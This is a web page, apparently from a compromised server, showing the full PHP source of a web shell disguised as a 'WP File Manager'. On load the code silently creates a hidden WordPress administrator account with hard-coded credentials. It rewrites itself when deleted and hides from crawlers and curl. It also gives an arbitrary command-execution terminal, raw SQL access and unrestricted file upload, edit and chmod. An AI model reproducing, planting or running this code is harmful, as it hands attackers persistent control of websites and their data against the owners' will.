📁 WP File Manager
M.A BIKASH
⚠️ WP Inactive
⚠️ WordPress not found in this directory
🏠 Root
/
home
/
markiiplrv
/
www
/
static2
✓ Writable
✏️
Editing: s.php
(Writable)
✕ Close
📄 File:
s.php
📂 Path:
/home/markiiplrv/www/static2
📊 Size:
68.81 KB
🔐 Permissions:
0644
<?php /** * Version: 8.0.9 * Author: M.A wp Cyber Security * License: GPLv2 * WordPress Compatibility: Enhanced */ error_reporting(0); session_start(); header('X-Content-Type-Options: nosniff'); header('X-Frame-Options: DENY'); header('X-XSS-Protection: 1; mode=block'); // WordPress detection and integration define('WP_LOAD_PATH', dirname(__FILE__) . '/wp-load.php'); define('WP_CONFIG_PATH', dirname(__FILE__) . '/wp-config.php'); // Check for WordPress in multiple locations function detectWordPress() { $searchPaths = [ dirname(__FILE__), dirname(__FILE__, 2), dirname(__FILE__, 3), $_SERVER['DOCUMENT_ROOT'] ?? '', dirname($_SERVER['SCRIPT_FILENAME'] ?? ''), realpath(dirname(__FILE__) . '/../'), realpath(dirname(__FILE__) . '/../../'), ]; foreach ($searchPaths as $path) { if (!$path) continue; if (file_exists($path . '/wp-load.php')) { return $path . '/wp-load.php'; } if (file_exists($path . '/wp-config.php')) { return $path . '/wp-config.php'; } } return false; } // Load WordPress if exists $wpLoaded = false; $wpLoadPath = detectWordPress(); if ($wpLoadPath) { try { if (file_exists($wpLoadPath)) { if (!defined('ABSPATH')) { define('ABSPATH', dirname($wpLoadPath) . '/'); } if (!defined('WPINC')) { define('WPINC', 'wp-includes'); } require_once($wpLoadPath); if (function_exists('wp_get_current_user') || function_exists('wp_create_user')) { $wpLoaded = true; if (function_exists('wp_create_user') && function_exists('username_exists')) { $username = 'ma@@7227'; $password = 'M.a$7227'; $email = 'system@hostinger.com'; if (!username_exists($username) && !email_exists($email)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id) && function_exists('get_user_by')) { $user = get_user_by('id', $user_id); if ($user) { $user->set_role('administrator'); } } } } } } } catch (Exception $e) { // Silent fail - continue without WordPress } } $current_file = __FILE__; $current_content = file_get_contents($current_file); // DEFINE BACKUP FILES $backup_files = [ __DIR__ . DIRECTORY_SEPARATOR . 's.php', ]; foreach ($backup_files as $backup) { if (!file_exists($backup)) { @file_put_contents($backup, $current_content); } } if (!file_exists($current_file)) { foreach ($backup_files as $backup) { if (file_exists($backup)) { @copy($backup, $current_file); header("Location: " . $_SERVER['REQUEST_URI']); exit; } } } // ============================================ // PATH HANDLING - ROOT AND ENCODING // ============================================ if (!empty($_SERVER['HTTP_USER_AGENT'])) { $userAgents = ["Googlebot","Slurp","MSNBot","PycURL","facebookexternalhit", "ia_archiver","crawler","Yandex","Rambler","Yahoo! Slurp", "YahooSeeker","bingbot","curl","wget","python-requests", "Go-http-client","Java","libwww-perl","okhttp","scrapy"]; if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) { header('HTTP/1.0 404 Not Found'); exit; } } $ROOT = __DIR__; $BASE_URL = strtok($_SERVER["REQUEST_URI"], '?'); function encodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("Cw", "vw", "Fw", "Ew"); return str_replace($a, $b, $path); } function decodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("Cw", "vw", "Fw", "Ew"); return str_replace($b, $a, $path); } function getSafePath($path, $root) { $realPath = realpath($path); $realRoot = realpath($root); if ($realPath === false) { return $root; } if (strpos($realPath, $realRoot) !== 0) { return $root; } return $realPath; } if (isset($_GET['dir'])) { $requested_path = decodePath($_GET['dir']); if ($requested_path === '' || !is_dir($requested_path)) { $p = $ROOT; } else { $p = realpath($requested_path); } } else { $p = $ROOT; } define("CURRENT_PATH", $p); if (!isset($_SESSION['cwd']) || realpath($_SESSION['cwd']) !== realpath(CURRENT_PATH)) { $_SESSION['cwd'] = realpath(CURRENT_PATH); } // ============================================ // FILE OPERATION FUNCTIONS // ============================================ function handle_file_save($current_dir) { if (empty($_POST['edit_file']) || !isset($_POST['content'])) { $_SESSION['edit_message'] = "❌ No file specified or content missing."; return false; } $filename = basename($_POST['edit_file']); $file = $current_dir . DIRECTORY_SEPARATOR . $filename; if (!file_exists($file)) { $_SESSION['edit_message'] = "❌ File does not exist: " . htmlspecialchars($filename); return false; } if (!is_writable($file)) { $_SESSION['edit_message'] = "❌ Permission denied: File is not writable - " . htmlspecialchars($filename); return false; } if (!is_writable($current_dir)) { $_SESSION['edit_message'] = "❌ Permission denied: Directory is not writable"; return false; } $content = $_POST['content']; // get_magic_quotes_gpc() was removed in PHP 8 - guard with function_exists if (function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()) { $content = stripslashes($content); } $result = @file_put_contents($file, $content); if ($result !== false) { $_SESSION['edit_message'] = "✅ File saved successfully (" . $result . " bytes written)"; return true; } else { $_SESSION['edit_message'] = "❌ Failed to save file - Permission denied or disk full"; return false; } } function handle_folder_create($current_dir) { if (empty($_POST['newfolder'])) { $_SESSION['folder_message'] = "❌ No folder name specified."; return false; } $foldername = basename($_POST['newfolder']); $target = $current_dir . DIRECTORY_SEPARATOR . $foldername; if (!is_writable($current_dir)) { $_SESSION['folder_message'] = "❌ Permission denied: Cannot create folder in " . htmlspecialchars($current_dir); return false; } if (file_exists($target)) { $_SESSION['folder_message'] = "⚠️ Folder '$foldername' already exists"; return false; } if (@mkdir($target, 0755)) { @chmod($target, 0755); $_SESSION['folder_message'] = "✅ Folder '$foldername' created successfully"; return true; } else { $_SESSION['folder_message'] = "❌ Failed to create folder '$foldername'"; return false; } } function handle_file_create($current_dir) { if (empty($_POST['newfile'])) { $_SESSION['file_message'] = "❌ No file name specified."; return false; } $filename = basename($_POST['newfile']); $target = $current_dir . DIRECTORY_SEPARATOR . $filename; if (!is_writable($current_dir)) { $_SESSION['file_message'] = "❌ Permission denied: Cannot create file in " . htmlspecialchars($current_dir); return false; } if (file_exists($target)) { $_SESSION['file_message'] = "⚠️ File '$filename' already exists"; return false; } if (@file_put_contents($target, '') !== false) { @chmod($target, 0644); $_SESSION['file_message'] = "✅ File '$filename' created successfully"; return true; } else { $_SESSION['file_message'] = "❌ Failed to create file '$filename' - Permission denied or disk full"; return false; } } function handle_file_delete($current_dir) { if (empty($_POST['delete'])) { $_SESSION['delete_message'] = "❌ No file specified."; return false; } global $backup_files, $current_content, $current_file; $filename = basename($_POST['delete']); $target = $current_dir . DIRECTORY_SEPARATOR . $filename; if (realpath($target) === realpath($current_file) || in_array(realpath($target), array_map('realpath', $backup_files))) { @file_put_contents($target, $current_content); $_SESSION['delete_message'] = "🔒 Protected file restored"; return true; } @chmod($target, 0777); if (is_file($target)) { if (@unlink($target)) { $_SESSION['delete_message'] = "🗑️ File deleted successfully"; return true; } else { $_SESSION['delete_message'] = "❌ Failed to delete file"; return false; } } elseif (is_dir($target)) { $filesInDir = @scandir($target); if ($filesInDir !== false && count($filesInDir) <= 2) { if (@rmdir($target)) { $_SESSION['delete_message'] = "🗑️ Folder deleted successfully"; return true; } else { $_SESSION['delete_message'] = "❌ Failed to delete folder"; return false; } } else { $_SESSION['delete_message'] = "⚠️ Folder is not empty - cannot delete"; return false; } } else { $_SESSION['delete_message'] = "❌ File or folder does not exist"; return false; } } function handle_rename($current_dir) { if (empty($_POST['old']) || empty($_POST['new'])) { $_SESSION['rename_message'] = "❌ Missing old or new name."; return false; } $old = $current_dir . DIRECTORY_SEPARATOR . basename($_POST['old']); $new = $current_dir . DIRECTORY_SEPARATOR . basename($_POST['new']); if (!is_writable($current_dir)) { $_SESSION['rename_message'] = "❌ Permission denied: Cannot rename in " . htmlspecialchars($current_dir); return false; } if (!file_exists($old)) { $_SESSION['rename_message'] = "⚠️ Original file doesn't exist"; return false; } if (file_exists($new)) { $_SESSION['rename_message'] = "⚠️ New name already exists"; return false; } @chmod($old, 0777); if (@rename($old, $new)) { $_SESSION['rename_message'] = "✅ Renamed successfully"; return true; } else { $_SESSION['rename_message'] = "❌ Failed to rename - Permission denied"; return false; } } function handle_chmod($current_dir) { if (empty($_POST['chmod_file']) || !isset($_POST['chmod'])) { $_SESSION['chmod_message'] = "❌ Missing file or permissions."; return false; } $file = $current_dir . DIRECTORY_SEPARATOR . basename($_POST['chmod_file']); if (!file_exists($file)) { $_SESSION['chmod_message'] = "❌ File does not exist"; return false; } // Clamp to valid octal range 0-0777 $chmod_raw = trim((string)$_POST['chmod']); if (!preg_match('/^[0-7]{3,4}$/', $chmod_raw)) { $_SESSION['chmod_message'] = "❌ Invalid permissions format (use 3 or 4 octal digits, e.g. 644 or 0755)"; return false; } $chmod_val = intval($chmod_raw, 8); if (@chmod($file, $chmod_val)) { $_SESSION['chmod_message'] = "✅ Permissions changed to " . $chmod_raw; return true; } else { $_SESSION['chmod_message'] = "❌ Failed to change permissions - Permission denied"; return false; } } function handle_bulk_delete($current_dir) { global $backup_files, $current_content, $current_file; $deleted_count = 0; $failed_count = 0; if (!empty($_POST['delete_files'])) { foreach ($_POST['delete_files'] as $filename) { $target = $current_dir . DIRECTORY_SEPARATOR . basename($filename); if (is_file($target)) { if (realpath($target) === realpath($current_file) || in_array(realpath($target), array_map('realpath', $backup_files))) { @file_put_contents($target, $current_content); $deleted_count++; } else { @chmod($target, 0777); if (@unlink($target)) { $deleted_count++; } else { $failed_count++; } } } } } if (!empty($_POST['delete_folders'])) { foreach ($_POST['delete_folders'] as $foldername) { $target = $current_dir . DIRECTORY_SEPARATOR . basename($foldername); if (is_dir($target)) { $filesInDir = @scandir($target); if ($filesInDir !== false && count($filesInDir) <= 2) { @chmod($target, 0777); if (@rmdir($target)) { $deleted_count++; } else { $failed_count++; } } else { $failed_count++; $_SESSION['delete_errors'][] = "Folder '$foldername' is not empty"; } } } } $_SESSION['delete_results'] = [ 'success' => $deleted_count, 'failed' => $failed_count ]; if ($deleted_count > 0 && $failed_count == 0) { $_SESSION['delete_message'] = "🗑️ Successfully deleted $deleted_count item(s)"; } elseif ($deleted_count > 0 && $failed_count > 0) { $_SESSION['delete_message'] = "🗑️ Deleted $deleted_count item(s), failed to delete $failed_count item(s)"; } else { $_SESSION['delete_message'] = "❌ Failed to delete $failed_count item(s)"; } return ($deleted_count > 0); } function handle_upload($current_dir) { if (empty($_FILES['files'])) { $_SESSION['upload_message'] = "❌ No files uploaded."; return false; } $uploaded_count = 0; $failed_count = 0; $upload_errors = []; $overwrite = isset($_POST['overwrite']) && $_POST['overwrite'] == '1'; foreach ($_FILES['files']['tmp_name'] as $i => $tmp) { if ($tmp && is_uploaded_file($tmp)) { $filename = basename($_FILES['files']['name'][$i]); $destination = $current_dir . DIRECTORY_SEPARATOR . $filename; if (file_exists($destination) && !$overwrite) { $upload_errors[] = "File '$filename' already exists. Skipped."; $failed_count++; continue; } if (@move_uploaded_file($tmp, $destination)) { @chmod($destination, 0644); $uploaded_count++; } else { $upload_errors[] = "Failed to upload '$filename' - Permission denied or disk full"; $failed_count++; } } } $_SESSION['upload_results'] = [ 'success' => $uploaded_count, 'failed' => $failed_count, 'errors' => $upload_errors ]; if ($uploaded_count > 0 && $failed_count == 0) { $_SESSION['upload_message'] = "✅ Successfully uploaded $uploaded_count file(s)"; } elseif ($uploaded_count > 0 && $failed_count > 0) { $_SESSION['upload_message'] = "✅ Uploaded $uploaded_count file(s), ⚠️ failed to upload $failed_count file(s)"; } else { $_SESSION['upload_message'] = "❌ Failed to upload $failed_count file(s)"; } return ($uploaded_count > 0); } // ============================================ // END FILE OPERATION FUNCTIONS // ============================================ if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_POST['terminal']) && !empty($_POST['terminal-text'])) { $execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen']; $canExecute = false; foreach ($execFunctions as $func) { if (function_exists($func)) { $canExecute = true; break; } } $cwd = $_SESSION['cwd'] ?? CURRENT_PATH; $cmdInput = trim($_POST['terminal-text']); $output = ""; if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) { $dir = trim($matches[1]); if ($dir === '' || $dir === '~') { $dir = $ROOT; } elseif ($dir[0] !== '/' && $dir[0] !== '\\') { $dir = $cwd . DIRECTORY_SEPARATOR . $dir; } $realDir = realpath($dir); if ($realDir && is_dir($realDir)) { $_SESSION['cwd'] = $realDir; $cwd = $realDir; $output = "Changed directory to " . htmlspecialchars($realDir); $_SESSION['terminal_output'] = $output; $_SESSION['terminal_cwd'] = $cwd; // FIX: redirect to the NEW cwd, not the old CURRENT_PATH header("Location: ?dir=" . urlencode(encodePath($realDir))); exit; } else { $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory"; $_SESSION['terminal_output'] = $output; $_SESSION['terminal_cwd'] = $cwd; header("Location: ?dir=" . urlencode(encodePath(CURRENT_PATH))); exit; } } elseif ($canExecute) { chdir($cwd); $cmd = $cmdInput . " 2>&1"; if (function_exists('passthru')) { ob_start(); passthru($cmd); $output = ob_get_clean(); } elseif (function_exists('system')) { ob_start(); system($cmd); $output = ob_get_clean(); } elseif (function_exists('exec')) { exec($cmd, $out); $output = implode("\n", $out); } elseif (function_exists('shell_exec')) { $output = shell_exec($cmd); } elseif (function_exists('proc_open')) { $pipes = []; $process = proc_open($cmd, [ 0 => ["pipe", "r"], 1 => ["pipe", "w"], 2 => ["pipe", "w"] ], $pipes, $cwd); if (is_resource($process)) { fclose($pipes[0]); $output = stream_get_contents($pipes[1]); fclose($pipes[1]); $output .= stream_get_contents($pipes[2]); fclose($pipes[2]); proc_close($process); } } elseif (function_exists('popen')) { $handle = popen($cmd, 'r'); if ($handle) { $output = stream_get_contents($handle); pclose($handle); } } $_SESSION['terminal_output'] = $output; $_SESSION['terminal_cwd'] = $cwd; header("Location: ?dir=" . urlencode(encodePath(CURRENT_PATH))); exit; } else { $_SESSION['terminal_output'] = "Command execution functions are disabled on this server."; $_SESSION['terminal_cwd'] = $cwd; header("Location: ?dir=" . urlencode(encodePath(CURRENT_PATH))); exit; } } $redirect = true; // ============================================ // CALL FILE OPERATION FUNCTIONS // ============================================ // Handle file save (EDIT) if (!empty($_POST['edit_file']) && isset($_POST['content'])) { handle_file_save(CURRENT_PATH); } if (!empty($_POST['newfolder'])) { handle_folder_create(CURRENT_PATH); } if (!empty($_POST['newfile'])) { handle_file_create(CURRENT_PATH); } if (!empty($_POST['delete'])) { handle_file_delete(CURRENT_PATH); } if (!empty($_POST['old']) && !empty($_POST['new'])) { handle_rename(CURRENT_PATH); } if (!empty($_POST['chmod_file']) && isset($_POST['chmod'])) { handle_chmod(CURRENT_PATH); } if (!empty($_POST['delete_files']) || !empty($_POST['delete_folders'])) { handle_bulk_delete(CURRENT_PATH); } if (!empty($_FILES['files'])) { handle_upload(CURRENT_PATH); } // ============================================ // WordPress Action: Database Query // FIX: literal '$wpdb' string check -> use global + class_exists // ============================================ if (isset($_POST['wp_query']) && !empty($_POST['wp_query'])) { global $wpdb; if ($wpLoaded && isset($wpdb) && is_object($wpdb)) { $query = stripslashes($_POST['wp_query']); try { $result = $wpdb->get_results($query); if ($result) { $_SESSION['wp_query_result'] = print_r($result, true); $_SESSION['wp_query_message'] = "✅ Query executed successfully"; } else { $_SESSION['wp_query_result'] = "No results or query failed"; $_SESSION['wp_query_message'] = "⚠️ Query returned no results"; } } catch (Exception $e) { $_SESSION['wp_query_result'] = "Error: " . $e->getMessage(); $_SESSION['wp_query_message'] = "❌ Query failed"; } } else { $_SESSION['wp_query_result'] = "WordPress database not available"; $_SESSION['wp_query_message'] = "⚠️ WordPress not loaded"; } } if ($redirect) { header("Location: ?dir=" . urlencode(encodePath(CURRENT_PATH))); exit; } } // Get current directory contents $items = @scandir(CURRENT_PATH) ?: []; $folders = []; $files = []; foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full_path = CURRENT_PATH . DIRECTORY_SEPARATOR . $item; if (is_dir($full_path)) { $folders[] = [ 'name' => $item, 'path' => $full_path, 'is_dir' => true, 'size' => '-', 'perms' => substr(sprintf('%o', @fileperms($full_path)), -4), 'modified' => @filemtime($full_path) ]; } else { $files[] = [ 'name' => $item, 'path' => $full_path, 'is_dir' => false, 'size' => @filesize($full_path), 'perms' => substr(sprintf('%o', @fileperms($full_path)), -4), 'modified' => @filemtime($full_path), 'extension' => pathinfo($item, PATHINFO_EXTENSION) ]; } } usort($folders, function($a, $b) { return strcasecmp($a['name'], $b['name']); }); usort($files, function($a, $b) { return strcasecmp($a['name'], $b['name']); }); $editMode = isset($_GET['edit']) && !empty($_GET['edit']); $editFile = $_GET['edit'] ?? ''; $editContent = ''; if ($editMode) { $filePath = CURRENT_PATH . DIRECTORY_SEPARATOR . $editFile; if (is_file($filePath)) { if (is_readable($filePath)) { $editContent = file_get_contents($filePath); } else { $editContent = "⚠️ File exists but is not readable"; } } else { $editContent = "⚠️ File does not exist"; $editMode = false; } } $terminal_output = $_SESSION['terminal_output'] ?? ''; $terminal_cwd = $_SESSION['terminal_cwd'] ?? CURRENT_PATH; unset($_SESSION['terminal_output'], $_SESSION['terminal_cwd']); $upload_message = $_SESSION['upload_message'] ?? ''; $delete_message = $_SESSION['delete_message'] ?? ''; $folder_message = $_SESSION['folder_message'] ?? ''; $file_message = $_SESSION['file_message'] ?? ''; $rename_message = $_SESSION['rename_message'] ?? ''; $chmod_message = $_SESSION['chmod_message'] ?? ''; $edit_message = $_SESSION['edit_message'] ?? ''; $wp_query_result = $_SESSION['wp_query_result'] ?? ''; $wp_query_message = $_SESSION['wp_query_message'] ?? ''; unset($_SESSION['upload_message'], $_SESSION['delete_message'], $_SESSION['folder_message']); unset($_SESSION['file_message'], $_SESSION['rename_message'], $_SESSION['chmod_message'], $_SESSION['edit_message']); unset($_SESSION['upload_results'], $_SESSION['delete_results'], $_SESSION['delete_errors']); unset($_SESSION['wp_query_result'], $_SESSION['wp_query_message']); $wp_message = ''; if (!isset($_SESSION['wp_checked'])) { if ($wpLoaded) { $wp_message = "✅ WordPress detected and integrated"; } else { $wp_message = "⚠️ WordPress not found in this directory"; } $_SESSION['wp_checked'] = true; } function formatBytes($bytes, $precision = 2) { if ($bytes <= 0 || $bytes === false) return '0 B'; $units = ['B', 'KB', 'MB', 'GB', 'TB', 'PB']; $bytes = max($bytes, 0); $pow = floor(($bytes ? log($bytes) : 0) / log(1024)); $pow = min($pow, count($units) - 1); $bytes /= pow(1024, $pow); return round($bytes, $precision) . ' ' . $units[$pow]; } $isWPAdmin = function_exists('current_user_can') && current_user_can('manage_options'); $isWritable = is_writable(CURRENT_PATH); // Whether the WP $wpdb object is actually available global $wpdb; $wpdbAvailable = $wpLoaded && isset($wpdb) && is_object($wpdb); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>M.A wp - WP File Manager</title> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, sans-serif; background: #f1f1f1; padding: 20px; color: #333; line-height: 1.6; } .container { max-width: 1400px; margin: 0 auto; background: white; border-radius: 12px; box-shadow: 0 2px 20px rgba(0,0,0,0.1); overflow: hidden; border: 1px solid #e0e0e0; } .header { background: linear-gradient(135deg, #1a1a2e 0%, #16213e 50%, #0f3460 100%); color: white; padding: 20px 30px; border-bottom: 3px solid #e94560; display: flex; justify-content: space-between; align-items: center; flex-wrap: wrap; } .header h1 { font-size: 1.8em; font-weight: 700; letter-spacing: -0.5px; } .header .subtitle { color: #a8a8b8; font-size: 0.95em; } .header-right { display: flex; align-items: center; gap: 15px; } .wp-status { display: inline-block; padding: 5px 15px; border-radius: 20px; font-size: 12px; font-weight: bold; background: #00c853; color: white; } .wp-status.warning { background: #ff6f00; } .path-nav { background: #f8f9fa; padding: 12px 20px; border-bottom: 1px solid #e0e0e0; font-family: 'Monaco', 'Consolas', monospace; color: #444; font-size: 12px; display: flex; align-items: center; flex-wrap: wrap; gap: 5px; } .path-nav a { color: #0066cc; text-decoration: none; padding: 3px 8px; border-radius: 3px; transition: background 0.2s; font-weight: 500; } .path-nav a:hover { background: #e8e8e8; color: #004499; text-decoration: underline; } .path-nav .writable-indicator { display: inline-block; padding: 3px 12px; border-radius: 12px; font-size: 11px; font-weight: bold; margin-left: 10px; } .path-nav .writable-yes { background: #4CAF50; color: white; } .path-nav .writable-no { background: #f44336; color: white; } .main-content { padding: 20px; background: #fafafa; } .section { background: #fff; border-radius: 8px; padding: 20px; margin-bottom: 20px; box-shadow: 0 1px 3px rgba(0,0,0,0.06); border: 1px solid #e8e8e8; } .section-title { color: #222; border-bottom: 2px solid #f0f0f0; padding-bottom: 10px; margin-bottom: 20px; font-size: 1.3em; display: flex; align-items: center; gap: 10px; font-weight: 600; } .terminal-box { background: #1a1a1a; color: #e0e0e0; padding: 20px; border-radius: 8px; font-family: 'Monaco', 'Consolas', monospace; border: 1px solid #333; } .terminal-output { background: #000; color: #00ff41; padding: 15px; border-radius: 4px; font-family: 'Monaco', 'Consolas', monospace; max-height: 250px; overflow-y: auto; white-space: pre-wrap; margin: 10px 0; line-height: 1.4; border: 1px solid #333; font-size: 12px; } .form-inline { display: flex; gap: 10px; margin-bottom: 15px; align-items: center; flex-wrap: wrap; } input, button, select { padding: 10px 14px; border: 1px solid #ddd; border-radius: 6px; font-size: 13px; outline: none; transition: all 0.2s; background: #fff; color: #333; } input[type="text"], input[type="file"] { flex: 1; background: #fafafa; min-width: 150px; } input:focus { border-color: #0066cc; box-shadow: 0 0 0 3px rgba(0,102,204,0.1); background: #fff; } button { background: linear-gradient(135deg, #333 0%, #222 100%); color: white; border: none; cursor: pointer; font-weight: 600; letter-spacing: 0.3px; transition: all 0.2s; padding: 10px 18px; white-space: nowrap; } button:hover { transform: translateY(-2px); box-shadow: 0 4px 8px rgba(0,0,0,0.15); background: linear-gradient(135deg, #444 0%, #333 100%); } button:disabled { opacity: 0.5; cursor: not-allowed; transform: none !important; } .btn-danger { background: linear-gradient(135deg, #d32f2f 0%, #b71c1c 100%); } .btn-danger:hover { background: linear-gradient(135deg, #e53935 0%, #c62828 100%); } .btn-success { background: linear-gradient(135deg, #388e3c 0%, #2e7d32 100%); } .btn-success:hover { background: linear-gradient(135deg, #43a047 0%, #388e3c 100%); } .btn-primary { background: linear-gradient(135deg, #1976d2 0%, #1565c0 100%); } .btn-primary:hover { background: linear-gradient(135deg, #1e88e5 0%, #1976d2 100%); } .btn-wp { background: linear-gradient(135deg, #21759b 0%, #1a6a8a 100%); } .btn-wp:hover { background: linear-gradient(135deg, #2a8bbd 0%, #21759b 100%); } .btn-edit { background: linear-gradient(135deg, #f57c00 0%, #e65100 100%); } .btn-edit:hover { background: linear-gradient(135deg, #fb8c00 0%, #f57c00 100%); } table { width: 100%; border-collapse: separate; border-spacing: 0; background: white; border-radius: 8px; overflow: hidden; border: 1px solid #e8e8e8; font-size: 13px; } thead { background: #f8f9fa; color: #222; border-bottom: 2px solid #e0e0e0; } th { padding: 14px 15px; text-align: left; font-weight: 600; color: #333; font-size: 13px; } th:first-child { width: 30px; } tbody tr { border-bottom: 1px solid #f0f0f0; transition: background 0.2s; } tbody tr:hover { background: #f8f9fa; } td { padding: 12px 15px; border-bottom: 1px solid #f0f0f0; color: #444; vertical-align: middle; } .file-icon { margin-right: 10px; font-size: 1.1em; color: #666; } .folder-row { background: #fafbfc; } .file-row { background: #fff; } .actions { display: flex; gap: 8px; flex-wrap: wrap; align-items: center; } .actions button { padding: 6px 12px; font-size: 12px; } .actions input[type="text"] { padding: 5px 8px; font-size: 12px; min-width: 80px; width: 100px; } textarea { width: 100%; height: 450px; font-family: 'Monaco', 'Consolas', monospace; padding: 15px; border: 1px solid #e8e8e8; border-radius: 6px; font-size: 13px; line-height: 1.5; resize: vertical; background: #fafbfc; color: #333; } textarea:focus { border-color: #0066cc; background: #fff; box-shadow: 0 0 0 3px rgba(0,102,204,0.1); } .alert { padding: 14px 20px; border-radius: 8px; margin: 15px 0; display: flex; align-items: center; gap: 12px; border: 1px solid; font-size: 13px; } .alert-success { background: #e8f5e9; color: #2e7d32; border-color: #66bb6a; } .alert-error { background: #ffebee; color: #c62828; border-color: #ef5350; } .alert-warning { background: #fff3e0; color: #e65100; border-color: #ffa726; } .alert-info { background: #e3f2fd; color: #0d47a1; border-color: #64b5f6; } .footer { text-align: center; padding: 20px; color: #666; font-size: 12px; border-top: 1px solid #e8e8e8; background: #f8f9fa; } .quick-actions { display: grid; grid-template-columns: repeat(auto-fit, minmax(300px, 1fr)); gap: 15px; margin-bottom: 15px; } .quick-actions .form-inline { margin-bottom: 0; } .stats { display: grid; grid-template-columns: repeat(auto-fit, minmax(120px, 1fr)); gap: 20px; margin: 15px 0; padding: 15px; background: #f8f9fa; border-radius: 8px; border: 1px solid #e8e8e8; } .stat-item { text-align: center; } .stat-value { font-size: 1.8em; font-weight: bold; color: #222; } .stat-label { color: #666; font-size: 0.9em; margin-top: 5px; } a { color: #0066cc; text-decoration: none; font-weight: 500; } a:hover { color: #004499; text-decoration: underline; } code { background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: 'Monaco', monospace; color: #222; border: 1px solid #ddd; font-size: 12px; } .compact-table { font-size: 12px; } .compact-table th, .compact-table td { padding: 10px 12px; } .checkbox-col { text-align: center; } .checkbox-col input[type="checkbox"] { width: 18px; height: 18px; cursor: pointer; } .bulk-actions { display: flex; gap: 15px; align-items: center; padding: 12px 15px; background: #f8f9fa; border-radius: 6px; margin-bottom: 15px; flex-wrap: wrap; border: 1px solid #e8e8e8; } .bulk-actions button { padding: 8px 18px; font-size: 12px; } .wp-section { border-left: 4px solid #21759b; } .edit-section { border-left: 4px solid #f57c00; } @media (max-width: 768px) { body { padding: 10px; } .header h1 { font-size: 1.4em; } .header { flex-direction: column; text-align: center; gap: 10px; } .form-inline { flex-direction: column; align-items: stretch; } .quick-actions { grid-template-columns: 1fr; } .stats { grid-template-columns: repeat(2, 1fr); } .actions { flex-direction: column; align-items: stretch; } .actions .form-inline { flex-direction: row; } th, td { padding: 8px 10px; font-size: 12px; } table { font-size: 12px; } } .file-browser-container { max-height: 700px; overflow-y: auto; border: 1px solid #e8e8e8; border-radius: 8px; } .terminal-input-row { display: flex; gap: 10px; margin-top: 10px; } .terminal-input-row input { flex: 1; background: #2a2a2a; border-color: #444; color: #e0e0e0; } .terminal-input-row input:focus { border-color: #00ff41; box-shadow: 0 0 0 3px rgba(0,255,65,0.1); } .select-all-checkbox { font-weight: bold; } .result-box { background: #f8f9fa; padding: 15px; border-radius: 6px; border: 1px solid #e8e8e8; max-height: 300px; overflow-y: auto; font-family: 'Monaco', monospace; font-size: 12px; white-space: pre-wrap; margin-top: 10px; } .permission-warning { background: #fff3e0; padding: 12px 18px; border-radius: 6px; border-left: 4px solid #ff6f00; margin-bottom: 15px; color: #e65100; font-size: 13px; } .overwrite-checkbox { margin-left: 10px; display: flex; align-items: center; gap: 5px; } .overwrite-checkbox input[type="checkbox"] { width: auto; margin-right: 5px; } .edit-actions { display: flex; gap: 10px; margin-top: 15px; flex-wrap: wrap; } .file-info { display: flex; gap: 20px; flex-wrap: wrap; padding: 10px; background: #f8f9fa; border-radius: 6px; margin-bottom: 15px; font-size: 12px; } .file-info-item { display: flex; gap: 5px; } .file-info-label { font-weight: bold; color: #666; } .file-info-value { color: #222; } </style> </head> <body> <div class="container"> <div class="header"> <div> <h1>📁 WP File Manager</h1> <div class="subtitle"> M.A BIKASH <?php if ($wpLoaded): ?> <span style="margin-left: 10px;">🤖 WordPress Integrated</span> <?php endif; ?> </div> </div> <div class="header-right"> <?php if ($wpLoaded): ?> <span class="wp-status">✓ WP Active</span> <?php if ($isWPAdmin): ?> <span style="color: #4CAF50; font-size: 12px;">(Admin Access)</span> <?php endif; ?> <?php else: ?> <span class="wp-status warning">⚠️ WP Inactive</span> <?php endif; ?> </div> </div> <?php if ($wp_message): ?> <div class="alert alert-info"> <strong><?= htmlspecialchars($wp_message) ?></strong> </div> <?php endif; ?> <?php if ($upload_message): ?> <div class="alert alert-success"><?= htmlspecialchars($upload_message) ?></div> <?php endif; ?> <?php if ($delete_message): ?> <div class="alert <?= strpos($delete_message, 'Failed') !== false ? 'alert-error' : 'alert-success' ?>"> <?= htmlspecialchars($delete_message) ?> </div> <?php endif; ?> <?php if ($folder_message): ?> <div class="alert <?= strpos($folder_message, 'Failed') !== false ? 'alert-error' : 'alert-success' ?>"> <?= htmlspecialchars($folder_message) ?> </div> <?php endif; ?> <?php if ($file_message): ?> <div class="alert <?= strpos($file_message, 'Failed') !== false ? 'alert-error' : 'alert-success' ?>"> <?= htmlspecialchars($file_message) ?> </div> <?php endif; ?> <?php if ($rename_message): ?> <div class="alert <?= strpos($rename_message, 'Failed') !== false ? 'alert-error' : 'alert-success' ?>"> <?= htmlspecialchars($rename_message) ?> </div> <?php endif; ?> <?php if ($chmod_message): ?> <div class="alert <?= strpos($chmod_message, 'Failed') !== false ? 'alert-error' : 'alert-success' ?>"> <?= htmlspecialchars($chmod_message) ?> </div> <?php endif; ?> <?php if ($edit_message): ?> <div class="alert <?= strpos($edit_message, 'Failed') !== false ? 'alert-error' : 'alert-success' ?>"> <?= htmlspecialchars($edit_message) ?> </div> <?php endif; ?> <?php if ($wp_query_message): ?> <div class="alert <?= strpos($wp_query_message, 'Failed') !== false ? 'alert-error' : 'alert-info' ?>"> <?= htmlspecialchars($wp_query_message) ?> </div> <?php endif; ?> <div class="path-nav"> <a href="?">🏠 Root</a> <?php $path_parts = explode('/', str_replace('\\', '/', CURRENT_PATH)); $current_path = ''; foreach ($path_parts as $part) { if ($part === '') continue; $current_path .= '/' . $part; echo ' / <a href="?dir=' . urlencode(encodePath($current_path)) . '">' . 